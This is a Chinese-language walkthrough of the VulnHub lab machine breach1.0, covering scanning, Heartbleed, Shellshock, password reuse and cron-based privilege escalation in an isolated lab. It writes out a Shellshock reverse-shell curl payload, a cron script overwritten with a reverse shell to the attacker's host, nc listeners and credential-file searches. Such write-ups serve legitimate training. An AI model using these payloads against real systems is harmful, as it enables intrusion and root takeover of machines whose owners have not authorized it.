做渗透测试练习久了,打 VulnHub 上的 Boot2Root 靶机已经成了我固定复盘手段。VulnHub 这类离线镜像最大的优点是:你可以合法地在一个完全隔离的环境里,把信息收集、漏洞利用、提权这条链完整走一遍。breach1.0 就是其中很有代表性的一台——它不会给你一个“一把梭”的漏洞让你瞬间拿 root,而是把加密链路分析、服务层历史漏洞、数据库弱配置、密码复用和本地提权串成一条需要耐心拼接的线。如果你刚入门,想体会什么叫“利用链”而不是“单个漏洞”,这台靶机非常值得反复打;如果你已经打过几台简单靶机,它也是一个能让你重新重视基础细节的实战环境。
我需要先说明一句:本文所有操作都基于本机虚拟机里的授权靶机镜像,目标 IP 也以你实际环境中分配到的为准。不要把这套流程搬到任何未经授权的系统上,这既是底线,也是这行最基本的规矩。
1. 环境准备与信息收集
1.1 搭一个能安全复现的离线实验环境
很多人打靶机第一步就翻车,不是漏洞利用失败,而是网络都不通。breach1.0 的镜像下载下来后是一个虚拟机磁盘文件,我用 VMware 导入,网络适配器直接选“仅主机模式”(Host-Only)。为什么不用 NAT 或桥接?NAT 模式下目标机器和你攻击机之间的通信需要经过虚拟 NAT 网关,某些反弹 Shell 和流量分析场景会多一层干扰;桥接则会让靶机直接暴露在真实局域网里,存在不可控风险。仅主机模式里,攻击机和靶机处在一个封闭的虚拟网段,既能保证连通性,又把风险范围限制在本地。
导入之后先给靶机拍一个快照。很多人忽略这一步,等到把系统搞坏了或者想重新从零开始打一遍时才后悔。快照的时间点最好选在“系统刚启动完成、还没有做过任何改动”的时候,这样每次重打都能回到最干净的初始状态。攻击机我用一台装了常用渗透工具集的 Linux 虚拟机,IP 固定在一个已知网段,靶机则开启 DHCP 自动获取地址。实际环境中,VMware 的仅主机网段通常是 192.168.56.0/24,攻击机地址一般是 192.168.56.1,靶机地址则由 DHCP 分配,常见的是 .106、.110 这类地址。
1.2 存活发现与 IP 确认
靶机开机后,先做存活发现。我习惯先用netdiscover扫一下当前网段,它通过 ARP 协议直接探查局域网内活跃主机,速度很快,而且不需要目标开放任何 TCP 端口。
netdiscover -r 192.168.56.0/24扫描结果里会出现几个 IP,排除掉攻击机自己、网关等已知地址,剩下那个陌生主机就是靶机。如果 netdiscover 没装,也可以用arp-scan或者干脆nmap -sn 192.168.56.0/24做 ping 扫描。拿到 IP 后立刻 ping 一下,确认能通。这里有个小技巧:看 TTL 值可以初步判断目标系统类型,Linux 系统常见 TTL 是 64,Windows 是 128,但这个值可以被人为修改,只能作为参考,不能当作绝对依据。
1.3 全端口扫描:别让隐藏服务跑掉
信息收集是整个渗透过程里最容易偷懒、也最不能偷懒的一步。我用 nmap 做全端口扫描,命令如下:
nmap -sS -sV -p- -T4 -A 192.168.56.110拆开讲一下这几个参数:-sS是 SYN 半开扫描,速度快,而且不像完整 TCP 连接那样容易在目标上留下大量连接记录;-sV做服务版本识别;-p-扫描 1 到 65535 全部端口,这一点非常关键,很多靶机把突破口藏在某个高位端口上,只扫默认端口会漏掉大量攻击面;-A是汇总了操作系统探测、脚本扫描和路由追踪的“全家桶”选项,方便一轮拿到尽量多的信息。-T4是时间模板,代表“激进但不过分”,在本地虚拟网络里可以放心用。
在这台靶机上,扫描结果和一些常见记录类似(不同复现环境会略有差异),我整理成表格方便对照:
| 端口 | 服务 | 初步判断 |
|---|---|---|
| 22/tcp | ssh | 远程登录入口,可尝试弱口令或用泄露凭据登录 |
| 80/tcp | http | Apache 服务,主要 Web 攻击面 |
| 443/tcp | ssl/https | OpenSSL 加密链路,需要重点检查 TLS 相关漏洞 |
| 111/tcp | rpcbind | 常见 Linux RPC 服务,记录即可 |
| 3306/tcp | mysql | 数据库服务,后续可以测试弱口令和匿名访问 |
拿到端口列表后,不要急着去扫目录或者找漏洞,先做一件事:把 80 和 443 的 HTTP 响应头、首页内容、SSL 证书信息都抓一遍。这些信息量往往比端口扫描本身大得多,而且很多后续利用的线索就藏在里面。对于 443 端口,我习惯用openssl s_client或者浏览器直接访问,先看证书里的 CN、组织名、域名等字段。很多靶机会故意在自签名证书里留下内部域名、用户名甚至密码片段,这些细节一旦错过,后面就要多绕好几圈。
2. Web 与加密流量里的信息挖掘
2.1 首页、源码与响应头里的指纹线索
先看 80 端口首页。用浏览器访问时,页面看起来可能只是一个简单的静态欢迎页,没什么实质功能。这时候一定不要只看渲染后的效果,要右键查看源代码,或者直接用 curl 抓原始内容:
curl -s http://192.168.56.110/看源码时重点关注三样东西:HTML 注释、隐藏的表单字段、引用的外部资源路径。开发者在写页面时经常会留下“TODO”“后面再补”之类的注释,或者把某个内部路径直接写死在<a>标签里,这些都是靶机精心放置的线索。再抓一下 HTTP 响应头:
curl -I http://192.168.56.110/响应头里的Server、X-Powered-By字段能帮助我们确认 Web 中间件和脚本语言版本。比如 Apache 2.2.22 搭配 PHP 5.x,这类组合在真实历史环境里存在大量已知漏洞,虽然不能直接断定可利用,但至少为后面的漏洞匹配缩小了范围。我记得在这台机器上,首页源码里确实藏着一条看起来不起眼的提示,指向了某个隐藏目录,这种“藏得浅但容易忽略”的线索是 breach 系列的特点之一。
2.2 目录爆破:从 URL 到备份文件
确认 Web 服务后,目录爆破是标准动作。我用 gobuster 分别对 80 和 443 两个端口扫,命令类似:
gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirb/big.txt -x php,txt,bak,zip,html -t 64这里加-x参数很重要。很多靶机不会把敏感文件直接放在一个干净的路径下,而是以backup.zip、config.php.bak、notes.txt这类带扩展名的文件形式存在。如果你只扫目录不扫扩展名,会漏掉大量线索。字典选择也有讲究,我常用的是 dirb 的 big.txt 或 SecLists 的 raft-medium-directories.txt,前者覆盖面广,后者对敏感目录的命中率更高,两个可以交替试一下。
扫目录时容易遇到几个干扰项:大量返回 403 的路径可能是服务器统一拒绝,也可能是真实存在但禁止列出的目录,不要直接忽略;返回 302 的路径要跟随重定向看看最终落点;有些 WAF 或防护机制会针对高频请求返回 429,这时候需要降低线程数或者加延时。这台靶机扫出来的内容里,除了常规的/images、/css这类静态资源目录,还有一个不显眼的入口和一个可能包含备份文件的可疑路径,它们就是后面进一步突破的基础。
2.3 Heartbleed 利用:用越界读换突破口
443 端口上的 OpenSSL 版本如果落在 1.0.1 到 1.0.1f 之间,就很有必要测一下 Heartbleed 漏洞。先用 nmap 脚本快速验证:
nmap -p 443 --script ssl-heartbleed 192.168.56.110如果输出显示VULNERABLE,那就可以进入下一步。Heartbleed 的原理简单说,是 OpenSSL 在处理 TLS 心跳扩展包时,没有严格校验请求里的数据长度和实际返回长度是否一致,攻击者可以通过构造一个长度字段异常的数据包,让服务器把自己内存里超出预期范围的数据一并返回。这本质上是一个典型的越界读漏洞,利用它读到的往往是服务器内存里残存的会话密钥、Cookie、用户名密码甚至私钥片段。
利用脚本有很多种,用哪个并不重要,重要的是要有耐心。我第一次跑这个脚本时只提取到几段看起来像是乱码的数据,后来重新跑了三五次,调整了读取偏移和重复次数,才从内存碎片里拼凑出有价值的片段。这个过程中记录下来的十六进制串、ASCII 片段,我都原样记在笔记里。后面某个环节的密码,恰好和其中一段数据存在明显的生成规律,这种“前后呼应”是这台靶机最典型的出题风格。
2.4 线索拼接:哪些信息值得记录
打完信息收集这一轮,你已经积累了相当多零散的信息:端口列表、首页注释、目录扫描结果、证书信息、Heartbleed 读出的内存片段。这时候千万不要急着去试漏洞,先停下来做一次线索整理。我会把所有可疑片段单独拉一个清单,每条标注来源:
- 来源路径或端口
- 记录到的完整内容
- 可能的用途判断
- 是否与其他信息有关联
这个习惯在打复杂靶机时尤其重要。很多人在这一步翻车,是因为明明已经看到了关键密码片段,却把它当作乱码丢掉了,后面又花大量时间在无关的地方打转。这一台机器上的多条线索就是环环相扣的——某个目录里的文件名含义,和数据库里某个表名对应;Heartbleed 读出的片段,和某个服务的默认配置存在关联。信息收集阶段记录得越细,漏洞利用阶段需要浪费的精力就越少。
3. 拿到立足点:漏洞利用与交互 Shell
3.1 Shellshock 触发 RCE
在目录扫描过程中,如果发现了可执行的 CGI 脚本路径,同时又确认目标系统的 Bash 版本较老,那么 Shellshock 是一个非常经典的突破口。这个漏洞的原理:Bash 在处理以()开头的环境变量时,会把它当作函数定义来解析,而函数定义后面附加的任意命令也会被直接执行。CGI 程序运行时,通常会把 HTTP 请求头(如 User-Agent、Referer、Cookie)作为环境变量传给 Bash,于是攻击者只需在某个请求头里写入恶意 payload,就能实现远程命令执行。
测试过程很直接,我用 curl 向确认的 CGI 路径发送一个特殊构造的请求头:
curl -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1' http://192.168.56.110/cgi-bin/status这里的 IP 要换成攻击机自己的地址,端口任意选择一个没被占用的高位端口。执行之前,先在攻击机上起一个监听:
nc -lvnp 4444如果目标 CGI 确实调用了 Bash,并且 Bash 版本存在 Shellshock 漏洞,这条命令就会把目标服务器的 Shell 弹回攻击机。这里有个小常识:bash -i >& /dev/tcp/IP/PORT这种写法依赖 Bash 的/dev/tcp特性,如果目标环境的 Bash 版本太老或者被裁剪过,可能不生效。遇到这种情况,可以换用bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'或者用 Python、Perl 反弹,多准备几种 payload 没有坏处。
拿到 Shell 后,第一件事不是急着提权,而是先了解自己是谁、在哪个目录、系统有什么限制。执行id看当前用户,执行whoami和pwd确认身份与位置。通常这个阶段的 Shell 权限很低,也就是 Web 服务用户,比如 www-data,但这已经足够继续深入了。
3.2 反弹 Shell 与 TTY 升级
通过 curl 弹回来的 Shell 是一个非交互式 Shell,很多命令用起来很痛苦:没有提示符,方向键不能用,vim 无法正常编辑,su和ssh这类需要密码交互的命令干脆就没法用。所以要尽快升级成标准 TTY。方法是用 Python 创建一个伪终端:
python -c 'import pty;pty.spawn("/bin/bash")'执行完这一步,Shell 看起来正常了一些,但还要进行后续处理才能真正变成完整 TTY。按Ctrl+Z把当前任务放到后台,然后在攻击机上执行:
stty raw -echo fg回到目标 Shell 后,再执行export TERM=xterm,这时候就能获得一个真正可交互、支持方向键和清屏等操作的终端了。这个步骤看着繁琐,但凡是后续需要执行su、sudo、ssh这类操作,它是绕不开的。我曾经因为偷懒跳过 TTY 升级,结果卡在su输入密码环节上,白白浪费了十几分钟。
3.3 数据库与密码复用
拿到 Web Shell 之后,3306 端口上的 MySQL 服务就变成一个非常值得尝试的方向。很多靶机为了降低难度,会故意把数据库账号配置得极其脆弱。我先尝试了 root 空密码、root/root 这类常见组合:
mysql -h 192.168.56.110 -uroot -p成功登录后,执行show databases;列出库名,然后逐个查看里面的表和数据。在其中一个业务库里找到了和 Web 应用相关的配置信息,包括管理后台的账号密码哈希、业务数据、甚至另一个用户的明文密码。这些内容要全部记录下来,不要仅仅停留在“看一眼”的层面。
拿到密码哈希之后,先别急着爆破,优先在配置文件目录里搜索硬编码密码。用一条命令把 Web 目录下所有 PHP 文件里的密码相关字段翻出来:
find /var/www -name "*.php" | xargs grep -in "password\|passwd\|pwd" 2>/dev/null靶机里常见的套路是:数据库里存的哈希是弱口令,比如123456、admin、password这种,可以直接通过字典碰撞出来;而这些哈希对应的明文密码,往往又被用户重复用在了 SSH 登录上。果然,我用字典跑出其中一个哈希的明文后,尝试用它 SSH 登录系统里的另一个普通用户,一次就成功了。这一步的意义不在于破解本身,而在于展示密码复用这个真实世界里最常见的切入点。
3.4 横向移动思路
拿到第一个普通用户账号后,不要觉得目标已经很接近了,其实这时候你只是迈进了“内网”的大门。横向移动的核心思路是:把已经掌握的信息最大化利用。我会做这几件事:
- 查看当前用户家目录下是否有
.bash_history,历史命令里经常残留之前的操作记录或密码 - 检查
/home目录下其他用户的文件夹,是否有可读的配置文件、SSH 私钥、备份压缩包 - 寻找
id_rsa私钥文件:find / -name "*id_rsa*" 2>/dev/null - 尝试用同一套密码登录其他用户:
su 用户名或用 SSH 逐个尝试
这台靶机里,普通用户家目录下有一个看似不起眼的备份文件,里面保存着一段脚本和注释,注释中明确提到了系统里另一个服务的工作机制。这些信息没有直接给我 root,但让我对接下来该往哪个方向提权有了清晰判断。横向移动阶段最容易犯的错是拿到一个密码就到处乱试,正确的做法是每换一个用户或服务,都要先记录信息、再验证猜测,而不是漫无目的地撞。
4. 权限提升实操复盘
4.1 本地枚举命令集合
拿到一个普通用户权限后,接下来就是本地提权。很多人一上来就想着找内核漏洞,这其实是效率很低的做法。系统化枚举才是正道。我固定会执行一组命令,把系统状态完整摸一遍:
id uname -a cat /etc/issue cat /etc/passwd sudo -l find / -perm -4000 -type f 2>/dev/null ls -la /etc/cron.d/ /etc/crontab /var/spool/cronsudo -l检查当前用户是否有可用的 sudo 权限,这是最直接也最容易被忽略的提权入口;find / -perm -4000查找 SUID 文件,如果某些高权限二进制存在已知提权方式,可以直接利用;ls -la /etc/cron.d/和/var/spool/cron则用来查看有没有周期性的定时任务。还要重点检查/etc/passwd里哪些用户具有登录 Shell,比如/bin/bash或/bin/sh,这些是潜在的攻击目标。
4.2 定时任务与 SUID 利用
在这台靶机上,sudo -l没有发现可直接利用的条目,SUID 文件里也没有找到特别明显的目标,最后突破口落在定时任务上。查看/etc/crontab时,发现系统有一个周期性执行的备份脚本,路径是/var/tmp/backup.sh,执行频率是每五分钟一次,运行身份是 root。关键问题在于,这个脚本文件的所有权人是当前普通用户,而且具备写权限。
这是一个非常典型的配置失误:root 权限的定时任务调用了一个普通用户可写的脚本。利用方法简单粗暴,直接往脚本里追加反弹 Shell 命令:
echo '#!/bin/bash bash -i >& /dev/tcp/192.168.56.1/5555 0>&1' > /var/tmp/backup.sh chmod +x /var/tmp/backup.sh同时攻击机上监听 5555 端口:
nc -lvnp 5555等待下一次 cron 周期到来,root 执行备份脚本时,就会把目标系统的 root Shell 弹回攻击机。回头复盘你会发现,这条提权路径之所以走得通,是因为两个失误叠加:一是 root 定时任务错误地调用了放在/var/tmp这种临时目录里的脚本,二是该脚本文件权限设置不当,给了普通用户可写权限。现实中很多系统被攻破,靠的不是高深的内核漏洞,而是这类低级的权限配置错误。
4.3 从普通用户到 root
等待 cron 执行的几分钟里,可以在目标上继续做点有用的信息收集,比如对照/etc/crontab里的时间配置,确认下一次执行的具体时刻。收到 root Shell 后,执行id确认uid=0(root),再去/root目录下读取证明文件。这台机器的标题既然是 breach1.0,最终目标自然就是拿到 root 权限并读取 flag 文件。
拿到 root 之后,我的习惯是把整条攻击路径重新梳理一遍,从最初的信息收集到最后的定时任务提权,每一步用到的线索、命令、密码都单独记下来。这一步看着不起眼,却是打靶机收获最大的环节。如果只是机械地“打完了、拿到 root 了”,那和用现成工具跑一遍没有区别;只有把思路整理成一条清晰的攻击链,下一次面对真实系统时才能真正举一反三。
5. 常见问题与排查技巧实录
5.1 扫描与网络问题
打这台靶机时,最容易卡住的不是漏洞利用,而是环境问题。常见的一种情况是netdiscover扫不到目标,多半是网络适配器模式不对,检查一下靶机和攻击机是否真的在同一个虚拟网段。另一种情况是明明扫到了 IP,但nmap全端口扫描特别慢,这时候确认一下是否开启了-T4,本地虚拟网络的延迟极低,完全可以放心用激进模式。还有一点,如果目标机器上运行了防火墙,某些端口可能对扫描源 IP 做了访问限制,这类问题在靶机环境中较少见,但如果遇到,需要回到网络层排查。
5.2 利用失败问题
Heartbleed 利用脚本跑不出有效数据,是很多人在这台机器上遇到的第一个坎。这个漏洞读取的内存内容带有随机性,跑一次两次拿不到东西太正常了。我的建议是:不要只跑一次,把脚本多执行几轮,适当调整请求的 padding 长度和重试间隔;同时将每次读到的数据都保存下来,因为某一次提取到的片段可能需要和另一次拼起来才有意义。Shellshock 反弹失败则要先验证监听是否正确绑定在 0.0.0.0 而不是 127.0.0.1,然后检查目标是否真的存在可调用的 Bash 命令,最后再考虑更换反弹方式。
5.3 提权卡壳
如果枚举一圈发现 sudo、SUID、cron 都没有明显突破口,先不要怀疑靶机没有设计后期路径,多半是你前期某个线索漏了。这台的思路就很典型:前期的 Heartbleed 数据、Web 目录里的文件、数据库里的哈希、用户家目录的备份文件,每一条线索都不是白留的,它们最终都指向“密码复用”和“权限配置错误”这两个方向。提权卡壳的时候,回到笔记里重新看一遍自己收集过的所有信息,经常会发现原来某个片段和当前的某个路径存在关联,只是当时没有往那个方向想。
5.4 排查速查表
我把这台机器上容易遇到的问题整理成一张速查表,方便以后复盘:
| 症状 | 常见原因 | 解决思路 |
|---|---|---|
| 扫不到目标 IP | 网卡模式错误或网段不一致 | 切换为仅主机模式,重新 netdiscover |
| HTTPS 访问证书报错 | 自签名证书 | 用curl -k或浏览器忽略警告 |
| Heartbleed 提取不到数据 | 读取内容随机 | 多次执行、调整偏移、保存每次结果 |
| 反弹 Shell 连不上 | 监听地址错误或防火墙拦截 | 用nc -lvnp 0.0.0.0:端口,换端口重试 |
| 目录扫描结果太少 | 字典不全或只扫了目录没扫扩展名 | 加上-x php,txt,bak,zip,换字典 |
| 提权无头绪 | 前期线索遗漏 | 回看笔记,重点检查密码复用和权限配置 |
6. 最后:打这台靶机的一些体会
打 breach1.0 最大的感受是:它不靠单个漏洞直接送 root,而是逼你把每一环节都走扎实。我第一次打的时候,卡在 Heartbleed 提取上将近二十分钟,因为读出来的内存数据太零散,差点就放弃换方向。后来静下心来多跑了几轮,又翻回头去看首页源码里的注释,才突然意识到这两条线索其实是同一个入口的组成部分。那种“原来如此”的时刻,就是这类靶机最有价值的地方。
打完这台机器,我建议你也把整个过程完整写一遍攻击链笔记:从 IP 发现、端口识别、目录爆破、漏洞利用、密码获取到提权,每一步用到的命令、线索、判断依据都记录下来。练习靶机最忌讳的是“打到一半看官方答案,稀里糊涂拿 root”。真正把每一条线索的来龙去脉想清楚,比多打十台简单靶机都管用。如果你还想继续巩固这类思路,同系列的其他镜像以及一些以“多阶段利用链”著称的靶机,都是很好的下一步选择。